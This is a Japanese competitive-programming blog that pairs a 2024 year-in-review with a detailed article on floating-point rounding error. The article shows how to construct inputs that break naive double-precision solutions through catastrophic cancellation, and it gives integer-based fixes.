えびちゃんの日記

えびちゃん（競プロ）の日記です。

今年のえびちゃん 2024

今年もやってみます

rsk0315.hatenablog.com

3–11 月くらいの記憶がほぼありません。

今年書いたもの

今年はあんまり書いてないですね。

浮動小数点数関連

お近づきのやつ、今年なんだという気持ちになりました。もう大昔な気がしていたので。

ポインタ関連

気まぐれアルゴリズム

rank/select は簡潔データ構造の文脈で使おうとしていました。 簡潔はあまり人気ないですし、競プロ文脈に沿わないがちというのは承知していつつ、仲よくはなりたいんですよね。

紹介系

CTF

今年手に入れたもの

特に写真はないです。

  • MHC の T シャツ
  • Getting Over It のマグカップ
    • クリアすると販売ページに行けるやつ
  • Binary Hacks Rebooted
  • えびふらいのしっぽちゃんのカチューシャ
  • 環ちゃんのアクキー

競プロ以外

おいしい

？？？

霜だたみちゃんを定期的に買うようになりました。

緩衝材が届いたというのは基本的に霜だたみちゃんのことです。

おさんぽと称しておいしいものを食べに行ったり、昔食べて好きだったものをオンラインショップで買ったりすることが増えました。 たまに言っている「案内板となかよく」というのは、知らない土地を（特にスマホでは調べずに）おさんぽするのを指しています。

たのしい

最近 CTF を始めました。主には pwn とかですが、低レイヤーの部分でおまじない扱いしている部分と仲よくなるのにちょうどいいかもしれません。

あと直近はやっていないですが、ラテン語を読めるようになりたいなと思っていた期間もありました。 Introductio in analysin infinitorum というのを読んだりしていました。

One Word Search (OWS) が始まったのも今年なんですね、早く 20 秒を切れるようになりたいです。

かなしい

この歳になると、概ねどうにもならない過去のことを思ってかなしくなることがたくさんあります。

  • お世話になった人が遠くに行ってしまったこと
  • いつまでもあると思っていたインターネットコンテンツが消えてしまったこと
  • 応援していた人が活動をやめてしまったこと
  • お気に入りの商品が売られなくなったり好みでない風に変わってしまったこと
  • 昔の自分が知っていたはずのことを思い出せなくなっていること
  • etc.

これからもかなしいね〜と思いながら生き続けるんだろうなと思います。

会いたい人には会えるうちに会っておいた方がいいですね。会っておいたところで結局はかなしい思いをすることになるというのはそうなんですが。 上半期は何人かのフォロヮに新しく会ったのですが、会っておきたいフォロヮはまだいます。

おわり

来年もよろしくおねがいします。

来年もたのしいことをしながら、たのしい気持ちで生きていられたらいいなという気持ちです。

誤差に対して祈ることしかできない人かわいそう

誤差が関連する問題で人々が文句を言っているたびにこういう気持ちになります。

↓ かわいそうシリーズと呼んでいるもの ↓

rsk0315.hatenablog.com

rsk0315.hatenablog.com

まえがき

「誤差 WA」でツイート検索をすると、「WA が出たが誤差が原因か？」「たぶん誤差のせいだろう」「どういうときに落ちるのかわかんない」のようなふわっとした感覚の人がたくさん見つかりますね。

整数のオーバーフローなどは「とりあえず大きい値を入れて確かめてみる」みたいなやり方があるので、（オーバーフローという概念を知ってさえいれば）修正の余地はあります。 一方、浮動小数点数の誤差に関しては「とりあえず闇雲にがちゃがちゃやってみても誤差で落ちるケースは見当たらない」「本当に誤差のせいか？ 考察で別途なにか間違っているのでは？」のような気持ちになる人が多そうです。

競プロをやっていて「計算量なんて非本質」「オーバーフローするのは整数型が悪い」などと言っている初心者がいたら「まだまだ経験が浅いんだねえ」という気持ちになると思いますが、誤差の話になると経験が浅い側になってしまう人が多数派な気がします*1。

この記事を通して、「こういうことをすれば誤差が大きくなるケースを作れるのか〜」ということをわかってもらって、自分で解決できる人が増えたらうれしいな〜という気持ちです。

知識がまだ十分でない人は、下記の記事に目を通してみることをおすすめします。 証明の数式パートを全部追うみたいなことをする必要はなくて、トピックをざっと読み流すくらいでもいいかなと思います。

rsk0315.hatenablog.com

記法

上記の記事からの流用ですが、次の表にあるものたちを使います。

丸めに関しては、いわゆる double のデフォルトの挙動（53-bit 仮数部、roundTiesToEven）を前提とします。

記法 意味 例
$\roundp x$ 実数 $x$ を浮動小数点数に丸めたもの $\roundp 1 = 1$,
$\roundp{0.1} = \tfrac1{10}(1+2^{-54})$
$x\oplus y$ 浮動小数点数 $x$, $y$ に対して $\roundp{x+y}$ $1\oplus 2 = 3$,
$\roundp{0.1}+\roundp{0.2} = \tfrac1{10}(3+2^{-51})$
$x\ominus y$ 浮動小数点数 $x$, $y$ に対して $\roundp{x-y}$ $1\ominus 2 = -1$,
$\roundp{0.3}-\roundp{0.2} = \tfrac1{10}(1-2^{-52})$
$x\otimes y$ 浮動小数点数 $x$, $y$ に対して $\roundp{x\times y}$ $2\otimes 3 = 6$,
$\roundp{0.1}\otimes\roundp{0.2} = \tfrac2{100}(1+2^{-50})$
$x\oslash y$ 浮動小数点数 $x$, $y$ に対して $\roundp{x\div y}$ $12\oslash 3 = 4$,
$\roundp{0.3}\oslash\roundp{0.1} = 3+2^{-51}$
$\hfloor x$ 正の実数 $x$ に対して、整数 $e$ を用いて $2^e=y\le x$ と書ける $y$ の最大値 $\hfloor 1=1$, $\hfloor{0.3} = 0.25$,
$\hfloor{100}=64$

特に、数式中でたとえば $0.1$ のように書いたときに暗黙に丸めの対象にすることはせず、$0.1 = 0.1000{\dots}000{\dots}$ を意味します。丸めを行う際は $\roundp{\bullet}$ を用いて明示します。

例として、上記で挙げた $\roundp{0.1} = \tfrac1{10}(1+2^{-54})$ という等式が、計算機側の解釈と一致していること（すなわち、えびちゃんが適当な値を導入しているわけではないこと）を確かめておいてみましょう。

>>> from decimal import Decimal, getcontext
>>> getcontext().prec = 100
>>> Decimal(0.1)
Decimal('0.1000000000000000055511151231257827021181583404541015625')
>>> (1+Decimal(2)**-54)/10
Decimal('0.1000000000000000055511151231257827021181583404541015625')

warning: ここでは $\roundp{0.1}$ が（というか 2 進の浮動小数点数が）十分な桁数の 10 進法で表せることなどから Decimal を使って確認しているだけで、「Decimal を使えばどんな文脈でも正確な検証ができる」などとは解釈しないでください。

おそらく初心者が最初に意識すべきことは下記なんじゃないかなと思っています。

  • 浮動小数点数*2の演算には再現性がある。
    • 入力や丸めモードさえ同じなら、「実行するたびに誤差が出たり出なかったりする」「誤差の大きさが都度変わる」のようなことにはならない。
  • 誤差は意味不明なものではなく、前提を整理すれば数式で扱える対象になる。

実数の演算との差異

ある性質が実数の演算で成り立つからといって、浮動小数点数の演算で成り立つとは限りません。 たとえば、$y\ne 0$ に対して $\tfrac xy\times y=x$ ですが、$(x\oslash y)\otimes y\ne x$ となることはあります。 よくある例としては、$y$ の部分が（それぞれ異なる）長めの式で、「分母の $y$ と掛けている方の $y$ が一致するときは打ち消し合ってくれるだろう」と期待するも、実際には $x$ からずれた値になってしまうというものです。

小さい値の例としては、次のようなものです。

$$ \begin{aligned} (1\oslash 49)\otimes 49 &= 1 - 2^{-53} \lt 1, \\ (3\oslash 187)\otimes 187 &= 3 + 2^{-51} \gt 3. \end{aligned} $$

また、ある程度大きい値の例としては、次のようなものです。

$$ \begin{aligned} (10^9\oslash 29)\otimes 29 &= 10^9 - 2^{-23} \lt 10^9, \\ (10^9\oslash 45)\otimes 45 &= 10^9 + 2^{-23} \gt 10^9. \end{aligned} $$

これだけだと相対誤差は十分小さい（と見なせる問題設定が多い）ので耐えますが、hack の際にはこうした入力が役に立ちそうです。 なお、分子の $x$ を固定して $y$ を全探索すると簡単に見つけることができます。

なお、このテクニック*3自体は double に限らず long double や Decimal などに対しても有効です。型によって誤差が出る入力が異なるので、狙いたい解法に応じて構築する必要はあります。仮数部が 24-bit, 53-bit, 64-bit, 113-bit の 2 進の浮動小数点型に関しては、いずれも下記が成り立ちます*4。

  • $(1\oslash 3027)\otimes 3027\lt 1$,
  • $(3\oslash 10767)\otimes 10767\gt 3$.

あるいは、上記 4 つに加え、Python の Decimal のデフォルトの設定値（精度や丸めモード）において、いずれも下記が成り立ちます。

  • $(1\oslash 7814)\otimes 7814\lt 1$,
    • float: $1-2^{-24}$
    • double: $1-2^{-53}$
    • long double (64-bit): $1-2^{-64}$
    • long double (113-bit): $1-2^{-113}$
    • Decimal: $1-2\cdot 10^{-28}$
  • $(3\oslash 175337)\otimes 175337\gt 3$.
    • float: $3+2^{-22}$
    • double: $3+2^{-51}$
    • long double (64-bit): $3+2^{-62}$
    • long double (113-bit): $3+2^{-111}$
    • Decimal: $3+10^{-27}$

一般に、実数 $x\ne0$ を丸めたときの誤差は次のように評価できます。

$$ \begin{aligned} |{x-\roundp x}| &\le \hfloor{|x|}\cdot 2^{-53} \end{aligned} $$

上記の例を評価してみます。 $$ \begin{aligned} |\tfrac{10^9}{29}-(10^9\oslash 29)| &\le \hfloor{\tfrac{10^9}{29}}\cdot 2^{-53} = 2^{25-53} \\ |(\tfrac{10^9}{29}\cdot 29)-( (10^9\oslash 29)\cdot 29)| &\le 29\cdot 2^{25-53} \end{aligned} $$ および $$ \begin{aligned} |( (10^9\oslash 29)\cdot 29) - ( (10^9\oslash 29)\otimes 29)| &\le \hfloor{(10^9\oslash 29)\cdot 29}\cdot 2^{-53} = 2^{29-53} \end{aligned} $$ から、三角不等式より $$ |10^9 - ( (10^9\oslash 29)\otimes 29)| \le (29\cdot 2^{25}+2^{29})\cdot 2^{-53} \approx 1.67\times 10^{-7} $$ となります。$2^{-23} \approx 1.19\times 10^{-7}$ なので、この範囲に収まっていることや、上界と概ね同じ程度の誤差が出ていることが確かめられます。

exercise: $10^9$ 以下の正整数 $x$, $y$ であって、$|x - ( (x\oslash y)\otimes y)|$ が $2^{-23}$ より大きいものは存在するか？ あれば例を構築し、なければこれが最大であることを示せ。

よくある例の撃墜

note: AC と思われているコードに対して、AC とならない入力を与えることを「hack」「challenge」「撃墜」などと呼びます。Codeforces や Topcoder に由来する用語です。

一次関数 (1)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数 $$ y = \frac{y_1-y_0}{x_1-x_0}\cdot (x-x_0) + y_0 $$ を考える。この直線の $x=0$ での $y$ 座標 $$ y = \frac{y_1-y_0}{x_1-x_0}\cdot (-x_0) + y_0 $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

use proconio::input;
fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = ((y1 - y0) / (x1 - x0)) * (-x0) + y0;
    println!("{res}");
}

計算しているものは $$ ( ( (y_1\ominus y_0)\oslash(x_1\ominus x_0) )\otimes (-x_0) ) \oplus y_0 $$ ですが、入力は $10^9$ 以下の整数なので、$y_1\ominus y_0 = y_1-y_0$ や $x_1\ominus x_0 = x_1-x_0$ が成り立ちます（演算子一つ一つを意識するのが大事でしょう）。

先の議論から、$(x_1-x_0)$ で割ってから $(-x_0)$ を掛ける部分を攻められそうです。 簡単のため、$y_1-y_0 = y_0$, $x_1-x_0 = x_0$ としてしまいましょう。すなわち、$(x_1, y_1) = (2x_0, 2y_0)$ です。 誤差を大きくするような $x_0$, $y_0$ を $5\cdot 10^8$ 以下の正整数の範囲で探せばよいです。

このコードは、たとえば下記のケースで撃墜することができます。

  • $(x_0, y_0) = (45, 500000000)$
  • $(x_0, y_0) = (29, 500000000)$

それぞれ $-2^{-24}$ と $2^{-24}$ を出力しますが、$2^{-24} \approx 5.96\times 10^{-8}$ なので許容誤差を $60$ 倍ほど上回っています。 前者のケースでは、$(500000000\oslash 45)\otimes 45 = 500000000 + 2^{-24}$ として誤差を出させて、$500000000$ から引くことで、誤差の $2^{-24}$ の部分を主要項にさせています。

一般に、実数 $x$, $y$ に対して、$(\roundp x, \roundp y)\ne (x, y)$ かつ $\roundp x\approx \roundp y$ のとき、$\roundp x\ominus \roundp y$ は $x-y$ と大きく異なり得ます*5。 これによって大きな誤差が出る（誤差項だった部分が主要項になってしまう）ことを、桁落ち や catastrophic cancellation などと呼びます。

また、真の値は $1$ 以上であってほしいような状況についても考えてみます。 $x_1-x_0 = x_0$ および $y_1-y_0 = y_0-1$ としてみましょう。すなわち $(x_1, y_1) = (2x_0, 2y_0-1)$ です。 今回は $5\cdot 10^8-1$ 以下でいつものペアを探す必要がありますが、やはり簡単に見つかります。

$$ \begin{aligned} (499999999\oslash 11)\otimes 11 &= 499999999 - 2^{-24} \lt 499999999, \\ (499999999\oslash 39)\otimes 39 &= 499999999 + 2^{-24} \gt 499999999. \end{aligned} $$

これを用いて、次のケースで撃墜できます。

  • $(x_0, y_0) = (11, 500000000)$
  • $(x_0, y_0) = (39, 500000000)$

それぞれ $1-2^{-24}$ と $1+2^{-24}$ を出力します。

一次関数 (2)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数の $x=0$ での $y$ 座標 $$ \begin{aligned} y &= \frac{y_1-y_0}{x_1-x_0}\cdot (-x_0) + y_0 \\ &= \frac{(-x_0)(y_1-y_0)+(x_1-x_0)y_0}{x_1-x_0} \\ &= \frac{x_0y_1-x_1y_0}{x_0-x_1} \end{aligned} $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

※ 真の値としては、一次関数 (1) と同じものである。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = (x0 * y1 - x1 * y0) / (x0 - x1);
    println!("{res}");
}

計算しているものは下記です。 $$ ( (x_0\otimes y_1)\ominus (x_1\otimes y_0) )\oslash (x_0\ominus x_1). $$

大前提として、$2^{53}+1 \approx 9.00\times 10^{15}$ 以上の整数は、double で正確に表せるとは限りません。$x_0y_1$ は $10^{18}$ 程度まで大きくできるので、それをうまく使います*6。

方針 1-1

簡単な例として、$x_0\otimes y_1 = x_1\otimes y_0$ となるものを考えます。 すなわち、同じ浮動小数点数に丸められるような異なる整数を持ってきたいです。

$2^{53}+1$ 以上の整数を素因数分解して、$10^9$ を超える素因数を持たないものを探します。その中から、同じ浮動小数点数に丸められるペアを探します。

$$ \begin{aligned} 2^{53}+12 = 9007199254741004 &= 2^2\times 967\times 3967\times 4547\times 129097, \\ 2^{53}+13 = 9007199254741005 &= 3^3\times 5\times 47\times 56311\times 25209539. \end{aligned} $$

適当に素因数を選び、次のようにすることができます。

$$ \begin{aligned} 2^{53}+12 &= 15344356\times587004059 \\ &= 17587796\times512127799 \\ &= 18037949\times499347196 \\ &= 36075898\times249673598 \\ &= 72151796\times124836799, \\ 2^{53}+13 &= 13233085\times680657553 \\ &= 23819553\times378143085 \\ &= 25209539\times357293295 \\ &= 39699255\times226885851 \\ &= 71458659\times126047695 \\ &= 75628617\times119097765. \end{aligned} $$

ということで、$(x_0y_1, x_1y_0) = (2^{53}+13, 2^{53}+12)$ とすればよいです。 また、分子（の真の値）は $1$ で固定なので、分母（の真の値）の絶対値はなるべく小さい方が（誤差を大きくする観点では）うれしい気持ちになります。

$$ (x_0, y_0, x_1, y_1) = (71458659, 124836799, 72151796, 126047695) $$

とすると、真の値は $-\tfrac1{693137} \approx -1.44\times 10^{-6}$ となります。

方針 1-2

※ SB 木 = Stern–Brocot tree

$(F_0, F_1, \dots, F_n, \dots) = (0, 1, \dots, F_{n-2}+F_{n-1}, \dots)$ として定義される Fibonacci 数列を考えます。 任意の $i\ge 0$ に対し、$(a, b, c, d) = (F_{i+3}, F_{i+2}, F_{i+1}, F_i)$ として $ad-bc = 1$ が成り立ちます。

たとえば $F_{39}\otimes F_{42} = F_{40}\otimes F_{41}$ かつ $F_{42}\le 10^9$ となるので、これを使えます。

$$ (x_0, y_0, x_1, y_1) = (F_{39}, F_{41}, F_{40}, F_{42}) $$

とすると、絶対誤差は $\tfrac1{F_{38}} \approx 2.56 \times 10^{-8}$ となります。

方針 2

実際には $x_0\otimes y_1 = x_1\otimes y_0$ である必要はありません。ある程度近い値であれば catastrophic cancellation でどうにでもなりそうです。

基本的には方針 1-1 でやったのと同様の考え方で進めます。 範囲を固定し、その中の各整数を 2 整数の積として表す方法を全部試し、誤差が大きくなる組を探しました*7。

範囲としては、$[5\cdot10^{17}-2\cdot10^5\lldot 5\cdot 10^{17}+2\cdot10^5]$ などを試しました。

そもそも、「許容誤差 $10^{-9}$」と見て「普通に計算してたらその程度の誤差に収まるでしょ？」とか「実際丸め誤差なんて $10^{-16}$ くらいでしょ？」と思ったり、「WA が出るときってせいぜい $10^{-7}$ くらいの誤差が出てるんでしょ？」とぼんやり思っている人が多いことでしょう。そういう人が次のケースたちを見て卒倒してくれたらうれしいです。

$$ \begin{aligned} (x_0, y_0, x_1, y_1)_A &= (707085728, 707127834, 707085729, 707127835), \\ (x_0, y_0, x_1, y_1)_R &= (962214805, 931734628, 965940272, 935342083), \\ (x_0, y_0, x_1, y_1)_M &= (999999990, 500000004, 999999992, 500000005). \end{aligned} $$

添字 真の値 計算結果 絶対誤差 相対誤差
$A$ $42106$ $42048$ $58$ $\approx 1.38\times10^{-3}$
$R$ $\approx 2.68\times10^{-8}$ $\approx 3.44\times 10^{-5}$ $\approx 3.41\times 10^{-5}$ $\approx 127$
$M$ $9$ $32$ $23$ $\approx 2.56$

見つかったもののうち、絶対誤差 ($A$)、相対誤差 ($R$)、それらの最小値 ($M$) が一番大きかったものをそれぞれ載せました。（見つかり次第更新します）

ざっくり見積もり的には、$\hfloor{10^{18}}\cdot 2^{-53} = 64$ くらいの絶対誤差は出そうなので、これくらいの大きさの実例が出せれば満足してもいいのではないでしょうか（？）

また、$(x_i, y_i) \approx (10^9-\varepsilon, 5\cdot 10^8+\varepsilon)$ の範囲でも、特に考えずに探索しました。 次のケースで絶対誤差 $64$ を達成できました。相対誤差は小さかったので、hack には使えなさそうです。 $$ (x_0, y_0, x_1, y_1) = (999999000, 500000032, 999999001, 500000004). $$

一次関数 (3)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数の $x=0$ での $y$ 座標 $$ \begin{aligned} y &= \frac{(y_1-y_0)(-x_0)}{x_1-x_0} + y_0 \end{aligned} $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

※ 真の値としては、一次関数 (1), (2) と同じものである。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = ((y1 - y0) * (-x0)) / (x1 - x0) + y0;
    println!("{res}");
}

今回は、(1) の解法で $(y_1-y_0)\otimes(-x_0)$ の方を先に計算するバージョンです。 $$ ( ( (y_1\ominus y_0)\otimes (-x_0) )\oslash (x_1\ominus x_0) )\oplus y_0. $$

以前見た $$ 71458659 \otimes 126047695 = 72151796 \otimes 124836799 $$ を利用してみましょう。たとえば、下記を計算させるように仕向けたいです。 $$ (71458659\otimes -126047695)\oslash 72151796 \oplus 124836799 $$ すなわち、下記を与えればよいです。 $$ (x_0, y_0, x_1, y_1) = (126047695, 124836799, 198199491, 196295458). $$ 他のケースも使えるとは思います（特に試していません。読者のおてて動かし用に残しておきます）。

分散

整数列 $a = (a_1, a_2, \dots, a_n)$ に対して、分散 $$ \frac1n\sum_{i=1}^n a_i^2 - \left(\frac1n\sum_{i=1}^n a_i\right)^2 $$ を求めよ。$n$ は $15$ 以下、$a_i$ は $10^8$ 以下の正整数とし、許容誤差は $10^{-6}$ とする。

use proconio::input;

fn main() {
    input! {
        n: usize,
        a: [i64; n],
    }
    let sum1: i64 = a.iter().sum();
    let sum2: i64 = a.iter().map(|ai| ai * ai).sum();
    let avg1 = sum1 as f64 / n as f64;
    let avg2 = sum2 as f64 / n as f64;
    let res = avg2 - avg1 * avg1;
    println!("{res}");
}

$(s_1, s_2) = (\sum a_i, \sum a_i^2)$ とし、これらは整数型で計算してしまいます。また、値の範囲から $\roundp{s_1} = s_1$ です。 計算される値は、 $$ (\roundp{s_2}\oslash n)\ominus \bigroundp{(s_1\oslash n)^2} $$ となります。

単純な例

$15$ 個も使うことを考えるのは大変ですので、とりあえず $n=2$ で考えてみましょう。 一般に、正規化数の範囲では $x\oslash 2 = \tfrac x2$ や $x\otimes 2 = 2x$ なので、 $$ \begin{aligned} (\roundp{a_1^2+a_2^2}\oslash 2)\ominus \bigroundp{( (a_1+a_2)\oslash 2)^2} &= \frac{\roundp{a_1^2+a_2^2}}2\ominus \biggroundp{\left(\frac{a_1+a_2}2\right)^2} \\ &= \frac{2\roundp{a_1^2+a_2^2} \ominus \roundp{(a_1+a_2)^2}}4 \\ &= \frac{\roundp{2a_1^2+2a_2^2} \ominus \roundp{a_1^2+2a_1a_2+a_2^2}}4 \end{aligned} $$ となります。

結局、$2a_1^2+2a_2^2$ と $a_1^2+2a_1a_2+a_2^2$ が誤差を含む近い値であれば catastrophic cancellation で落とせそうです。 単純に $(a_1, a_2) = (10^8, 10^8-1)$ で試したところ、真の値が $0.25$ なのに対し、計算結果は $0$ となってくれました。 また、$(a_1, a_2) = (10^8, 10^8-2)$ とすると、真の値が $1$ なのに対し、計算結果は $2$ となりました。 後者のケースでは、絶対誤差も相対誤差も $1$ であり、許容誤差を大きく上回っています。

大きめの例

DFS してみました。$a_i \approx 10^8-\varepsilon$ の範囲で適当に探索します。

$a = (99999996)\concat(99999995)^8$ のケースで、真の値が $\tfrac8{81}$ のところ $4$ となり、絶対誤差が $\tfrac{316}{81} \approx 3.90$、相対誤差が $39.5$ となりました。 絶対誤差を大きくすることに関してであれば、 $$ a = (100000000)^8\concat(99999999)\concat(99999994)\concat(99999990)^4\concat(99999989) $$ などで $\tfrac{956}{225}\approx 4.25$ になりました。

上の（小さい方の誤差が $3.90$ 程度の）例においては、$(s_1, s_2) = (899999956, 89999991200000216)$ です。

$$ \begin{aligned} 899999956\oslash 9 &= \tfrac19(899999956-2^{-24}), \\ \roundp{(899999956\oslash 9)^2} &= \tfrac1{81}(899999956^2 - 172) \\ &= 9999999022222244, \\ \roundp{89999991200000216} &= 89999991200000216 + 8, \\ \roundp{89999991200000216}\oslash 9 &= \tfrac19(89999991200000216 + 16) \\ &= 9999999022222248. \end{aligned} $$

最終的な答えは $9999999022222248 \ominus 9999999022222244 = 4$ なので、たしかに catastrophic cancellation が起きているなあという気持ちになりますね。

上記コードの改善

撃墜されないコードを書かないといけない気がするので、示しておきましょう。

上記の例で見てきたように、撃墜するときには catastrophic cancellation をさせたがるので、防御側（？）のときは catastrophic cancellation が起きないように気をつけましょう。 とにかく、足し算引き算をするたびに下記のことをチェックするくらいがちょうどいいでしょう（割り算をするたびに分母が $0$ になることがないかチェックするのと同様に*8）。 下記は引き算ベースで書いていますが、足し算なら符号の部分は逆にして読んでください。

  • どちらの項も誤差を含まないなら ok
    • そういう場合は benign cancellation なので大丈夫。
    • 引き算自体によって誤差が出ることはあり得るので、その計算結果を使うときは注意。
  • 上記が ok でなくても、符号が常に異なるなら ok
    • cancellation にならないため。
  • 上記が ok でなくても、絶対値が同程度にならないなら ok
    • cancellation にならないため。
    • 多くの場合、同程度になるケースを構築できるはずなので気をつける。

これが ok であることを示せないなら、式変形する方針で考察を進めた方がよさそうです。 分子と分母をそれぞれ整数型で計算できる形にしてしまうのがよいでしょう。$m/n$ の形になったら、誤差は $$\gamma_3 = \frac{3\cdot 2^{-53}}{1-3\cdot2^{-53}}\approx3.34\times10^{-16}$$ を用いて $$ |{{m/n}-(\roundp m\oslash\roundp n)}| \le \hfloor{m/n}\cdot \gamma_3 $$ 程度で抑えられる（分子と分母の丸めで 2 回、除算で 1 回の誤差）ので、まず問題ないと思います。

あるいは、分子・分母が 64-bit 整数でオーバーフローせずに計算できる前提であれば、分子・分母は long double を用いての計算で catastrophic cancellation は起きない*9ので、（double で落ちたからとりあえず long double にしてみたという、ありがちな未証明解法は）正当な解法になると思います。

Rust や Python などの long double を気軽に使えない言語では（BigRational や Decimal などを適切に使うか、）整数型を適切に使うコードを書く必要があるでしょう。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (i64, i64, i64, i64),
    }
    let res = (x0 * y1 - x1 * y0) as f64 / (x0 - x1) as f64;
    println!("{res}");
}

分散の方も次のように変形できます。分子・分母を浮動小数点数で計算した場合は、一次関数 (2) の例と同様にして撃墜できるはずです。特に試してはいません。

$$ \begin{aligned} \frac1n\sum_{i=1}^n a_i^2 - \left(\frac1n\sum_{i=1}^n a_i\right)^2 &= \frac1{n^2}\left(n\sum_{i=1}^n a_i^2 - \left(\sum_{i=1}^n a_i\right)^2\right) \end{aligned} $$

use proconio::input;

fn main() {
    input! {
        n: usize,
        a: [i64; n],
    }
    let sum1: i64 = a.iter().sum();
    let sum2: i64 = a.iter().map(|ai| ai * ai).sum();
    let num = sum2 * n as i64 - sum1 * sum1;
    let den = n as i64 * n as i64;
    let res = num as f64 / den as f64;
    println!("{res}");
}

当然、分子の計算においてオーバーフローしないことは確認しておきましょう。 $$ \begin{aligned} n\sum_{i=1}^n a_i^2 &\le 15\cdot \sum_{i=1}^{15} {(10^8)^2} \\ &= 15\cdot 15\cdot (10^8)^2 \\ &= 225\cdot 10^{16} \\ &= 2.25\cdot 10^{18}\lt 2^{63}, \\ \left(\sum_{i=1}^n a_i\right)^2 &\le \left(\sum_{i=1}^{15} 10^8\right)^2 \\ &= (15\cdot 10^8)^2 \\ &= 2.25\cdot 10^{18}\lt 2^{63}. \end{aligned} $$

分子・分母の計算でオーバーフローが起きる場合はどう対処すればいいんでしょう。 場合によっては、$2^{64}$（あるいは $2^{128}$）で割ったときの商とあまりに分けたりしながら計算？（簡易的な多倍長整数っぽい感じで）

ジャッジ

一次関数の例は、ABC 385 F で試せます。$N=2$ として考えています。 WA になっている提出を適当に漁って、hack の練習をしてみるのもよいでしょう。

この問題の設定においては、$(x_0, y_0, x_1, y_1) = (175337, 3, 2x_0, 2y_0)$ とすることで、$-2^{-51} \lt 0$ などを出力させて撃墜させることもできます（long double や Decimal などにも有効）。

紹介したケースたち

2
45 500000000
90 1000000000
2
29 500000000
58 1000000000
2
175337 3
350674 6
2
11 500000000
22 999999999
2
39 500000000
78 999999999
2
71458659 124836799
72151796 126047695
2
707085728 707127834
707085729 707127835
2
962214805 931734628
965940272 935342083
2
999999990 500000004
999999992 500000005
2
126047695 124836799
198199491 196295458

分散の例は ABC 332 E で試せます。簡単のために $N=D$ としてよいでしょう。 こちらも WA の提出たちで遊ぶとよさそうです。

紹介したケースたち

2 2
100000000 99999998
9 9
99999996 99999995 99999995 99999995 99999995 99999995 99999995 99999995 99999995
15 15
100000000 100000000 100000000 100000000 100000000 100000000 100000000 100000000 99999999 99999994 99999990 99999990 99999990 99999990 99999989

いざ WA をもらった後の話として、（誤差関連に限らないですが、）そのコードは敵（？）が書いたものだと思い込むことで、意地悪なケースを考えやすくなるというのはあると思っています。 味方（？）が書いたと思って「どこも間違ってないよねえ？」と読むよりは、「これぜってえ間違ってんだろ、落としてやるから見てろ」くらいの気持ちの方が積極的になれる気がします。 落とすときの定番としては、catastrophic cancellation を起こさせるような入力をこねこねすることになると思います。 起こさせるにあたっては、記事で挙げたようなケースの存在を知っておくと、「これをベースに似たようなことできるよね」としやすいんじゃないかなという気がします。

そういう練習として、WA になっている（実際の他人の）コードを読んで実際にケースを構築する遊びというのは有効だと思います。

所感

元々、ABC 385 F の解説 の焼き直し程度の記事になる予定だったのですが、書いている途中に解説の記載ミスに気づいたり、解説に書いていたものより大きい誤差のケースを構築できたりしたので、よい気持ちになりました。

他にもありがちな簡単な例題があれば追記していきたいなと思っています。 「こういう計算方法だとこういうときにこんなに誤差が出ますよ＾＾」と知っていると、なんとなく優越感めいたものが生じますよね。

お気持ち表明パート

（ここを本編だと思っている人もいます、たぶん）

そもそも、以前の「お近づきになりたい人向けの記事」を書いたときにも思ったことですが、浮動小数点型と仲よしの人が（競プロ界隈に限らず）少なそうという気持ちがあります。 ネットで調べて出てくる記事の大半は怪しいことを書いていますし、（数式を用いての解析がないのは当然として）解像度の低い自然言語でのふわっとした話が書かれていがちです。 そもそも「浮動小数」と書いている人の理解度に期待する方が間違っているというのはそうだと思っています。

概ね下記の記事でカバーされるような類の誤解をしている方が多そうなので、読んでほしいです。

qiita.com

「お金など、厳密さが求められる文脈で浮動小数点型を用いるのは不適切」という旨の主張自体は特に反論はない（というか同意します）のですが、「多くの状況で浮動小数点型を避けたまま生きていて、どうしても必要になった文脈で浮動小数点型を使い、知識がないから変なミスをして嫌な印象を抱く」のような生き方の人が多い気はしていて、それは好ましくないよなあという気持ちがあります。

競プロ界隈の人々も「誤差は妖精さんが気分で混ぜているもので、人間はどうしようもできない」みたいな解像度の低さなのかな？と思ったりしていますが、実際どうなんでしょうね。最近は界隈の人口増加に伴って、数学に明るくない人もたくさんいる気はしますし、界隈で好まれがちな数学の分野（組合せ数学とか）とも違う気もしますが、数式で捌ける部分もしばしばあるので、もっと理解ある若人が増えてくれたらな〜という気はしています。 整数の証明問題に強い人は活躍できそう？という気もしています（指数部をずらした後は整数性を使って議論しがちだったりしますし）。活躍したいかは別の問題かもしれません。

昨今の風潮的には数え上げとか最適化とかが人気がちで、幾何とかは下火だったりするんですかね？ 昔から「誤差が絡んでくるジャンルと言えば幾何、幾何と言えば厄介」みたいな風潮はありがちな気はします。自分も概ねそういう感じではあったのですが、十何年も続いている界隈でずっとこういう実態なのは微妙じゃない？という気持ちはあります。 蟻本でも誤差に関する部分はあまり詳細には書かれていないですし、ネットにもまともな教材がほぼないですし、ぐぬぬという感じです。

そもそも（アカデミック界隈で？）“geometry” と呼ばれる分野は、当然のように平衡木を使って平面走査をするとかをしがちで、あまり AtCoder の思想とは沿わない部分がありそうですし、まぁ流行らないのも無理はないよな〜という気持ちはあります。

各数学関数を正確に丸めた (correctly-rounded) ものを返してくれるアルゴリズムを知りたいよな〜という気持ちはありつつ、界隈目線で言えば、「そんなものを欲するより、まずはこういう基礎的な誤差を回避するノウハウを広める方が先なんじゃないのか？」という気持ちにもなってきます。 別に界隈への貢献を意識する必要はなくて、自分の興味ベースで好きなことを学べばいいやというのが基本スタンスではあるんですが、（冒頭に挙げたような）ツイートたちを見るとそういう気分にもなりますよね。

